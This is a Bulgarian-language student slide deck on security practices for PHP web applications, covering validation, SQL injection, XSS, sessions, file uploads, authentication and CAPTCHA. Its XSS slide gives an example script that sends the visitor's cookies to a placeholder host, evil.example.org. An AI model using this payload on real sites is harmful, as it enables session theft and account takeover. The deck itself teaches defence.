Upload
nikolai
View
282
Download
1
Embed Size (px)
DESCRIPTION
PHP security
Citation preview
Защита при създаване на PHP-приложения в Интернет
изготвил: Николай Борисовспециалност „Информатика“, ф.н. 9739
Методи за разработване на PHP приложения
• Обектно ориентирано• Да използваме фреймуорк• Да използваме възможностите му– Верификация на данните– Санитаризация на данните– Подреденост и неповтаряемост на кода
Най-често срещаните причини за получаване на такива грешки са:• Грешка в писането• Скука• Предизвикателството да те надхитрят• Просто любопитство• Реални злонамерени намерения
Добра практика е грешките да се подтискат след преключване на дебъгването на приложението и да се показват само тези от тях, които разработчикът прецени, че биха били от реална полза на потребителя.
Error handling
Уеб-форми и URL – адреси
Това са най-честите места, които попадат на вниманието на атакуващия, защото те са мястото за взаимодействие със сайта.Затова трябва:• Да не вярваме на потребителя• Да предвиждаме всяко едно негово действие• Да се подготвим за най-лошия сценарии
Пример с използването на Zend Form и Zend Validate класовете може да се види в реферата.
Бази от данни и SQL
Хранилището на нашата информация е и мястото където се пази най-ценната част от нея. Затова трябва:• Да защитим файла с паролите и информацията за
връзката с БД• Да се защитим от SQL injection
Криптиране на данните
Добра практика е ценната информация да се криптира, за да се добави допълнителен слой защита към нея.
Cross-Site Scripting
Проблемът се изразява в това, че в уеб-формите може да се въведе скрипт, който да внесе в сайта злонамерени функции.Пример: <script> document.location = 'http://evil.example.org/steal.php?cookies=' +document.cookie </script>
Сесии и Бисквитки
Могат да бъдат откраднати чрез Cross Site Scripting, но истината че SESSION IDENTIFIER вече не се използва самостоятелно а и дори в новите хостинги е изключен по подразбиране.
SSL дава допълнителен слой на сигурност.
Работа с файлове
• Да проверяваме и да се подсигуряваме когато работим с чужди файлове (e.g.RSS)
• Да се предотвратява command injection• Да се проверява какво се позволява да се
ъплоудва на вашия сайт• Да се прави ограничение и в размера на
файла
Автентификация
Добре е в някои райони от сайта да се дава достъп само на потребители, като се регламентира достапът им чрез потребителско име и парола. Това впоследствие създава и някои проблеми:• Възможност от brute force атака• Възможност от Sniffing атака
Споделен хостинг
Ето някои проблеми със споделения хостинг:• Видим сорс код• Видима сесия• Инжектиране на сесия
Анти бот защита
CAPTCHA – видове • Текстова - Zend_Captcha_Image• Текст от символи -Zend_Captcha_Figlet• Въвеждане на текст на обратно - Zend_Captcha_Dumb • Аудио Captcha• Когнитивна Captcha
Тествай, тествай и после тествай!
Тестването е една от задължителните практики за разработване на сигурни и надеждни информационни системи чрез PHP. При тестването могат да излязат пробойни на места, на които в други ситуации не би трябвало да има, поради нестандартност на системата или поради вземане на нестандартни решения от страна на програмиста за решаване на иначе стандартни проблеми.
Благодаря за вниманието!